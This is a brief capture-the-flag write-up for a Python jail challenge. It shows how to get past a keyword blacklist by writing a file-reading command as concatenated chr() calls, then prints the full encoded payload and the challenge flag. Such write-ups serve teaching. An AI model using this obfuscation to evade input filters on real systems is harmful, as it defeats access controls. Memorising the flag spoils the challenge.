Rating:

All of the good functions are blacklisted. We'll have to pass in our payload character by character. We can read the flag normally with `print(open("flag.txt", "r").read())`, but typing these functions directly activates the blacklist. Instead, encode them as ascii characters, wrap them in `chr()`, and concatenate them. Here is a working payload, equivalent to the blacklisted solution above:

```chr(112) + chr(114) + chr(105) + chr(110) + chr(116) + chr(40) + chr(111) + chr(112) + chr(101) + chr(110) + chr(40) + chr(34) + chr(102) + chr(108) + chr(97)+ chr(103) + chr(46) + chr(116) + chr(120) + chr(116) + chr(34) + chr(44) + chr(32) + chr(34) + chr(114) + chr(34) + chr(41) + chr(46) + chr(114) + chr(101)+chr(97) + chr(100) + chr(40) + chr(41) + chr(41)```

The flag is `texsaw{SP4P3GGY_4ND_M34TBA11S_aa17c6d30ee3942d}`